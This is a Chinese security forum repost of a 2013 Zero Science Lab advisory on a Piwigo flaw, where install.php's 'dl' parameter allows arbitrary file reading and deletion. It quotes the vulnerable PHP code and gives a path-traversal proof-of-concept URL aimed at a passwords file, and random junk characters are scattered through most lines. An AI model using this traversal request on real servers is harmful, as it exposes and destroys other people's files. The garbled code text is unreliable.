找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2253|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。# G) E, Q: m+ v2 F0 I- O+ _

0 ]5 r1 z! t1 i! K3 `Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。5 H# f8 n. ^+ J
====================================================================6 U/ J8 E" F1 f& s. l3 q
/install.php:
+ x! y' g: ?  f; n+ K; o7 F-------------
6 ?; [# {3 X) r113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
  i3 b' e" _" ?" q* a, D% m1 q, S114: {6 o6 l& ^+ f2 y- S: x
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];+ H! p; o& q* @) |
116:   header('Cache-Control: no-cache, must-revalidate');
+ {6 R9 n  D3 r117:   header('Pragma: no-cache');3 S3 b) \0 \& V) X$ |7 q. o
118:   header('Content-Disposition: attachment; filename="database.inc.php"');! w' e% J3 }4 R' k' o! J) \
119:   header('Content-Transfer-Encoding: binary');& h6 ~+ p% h4 W/ ^! v. T& a! e, W4 c' ?$ o
120:   header('Content-Length: '.filesize($filename));; g- t! I0 T+ n, J; V
121:   echo file_get_contents($filename);
; N3 B1 A# `5 Q6 q; O122:   unlink($filename);
+ Y& s  f  }4 p" Z9 H+ Q' I+ e123:   exit();1 O, D" S2 Q& j6 }+ d* u' ^4 c# w' b. z
124: }* {8 K  Z8 e+ h% y1 K: f1 e9 Y* n
====================================================================; k7 n4 q( d1 |6 g6 ~+ X& j
! l5 ^* w0 g% m0 e$ s
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)& K" ~9 K$ T5 \
           Apache 2.4.2 (Win32)
% v$ N8 t2 h* ]# B! H5 I) r           PHP 5.4.4
! z* f" r2 l- r- _           MySQL 5.5.25a
) x! h6 ]1 g: C, J/ B5 U' @! l
, R8 j& C$ l9 B+ ]1 q1 {9 BVulnerability discovered by Gjoko 'LiquidWorm' Krstic- }  w  n$ V* P! V! r
                            @zeroscience
4 ~9 R* J. Y3 ?8 \ 1 |7 d) q6 N; T' F& k
Advisory ID: ZSL-2013-5127
  A* h) L7 t9 v& R3 p  [6 x$ i8 _* M' I, |Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php: ^* Y5 c/ O( _! ^
Vendor Patch: http://piwigo.org/bugs/view.php?id=28436 {+ J7 v/ Z8 Y+ S6 X. r
9 i2 n( W9 q- i! D" F
15.02.2013* [, p1 [9 `; q' R! [* `  \
( X2 A2 S( G/ q, d$ N7 C
--
  }& z! U3 i* y# V( a: @http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
9 @+ C, m  w: K, x/ i! [9 U2 U 8 |# Z5 j& y9 J* o+ w, h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表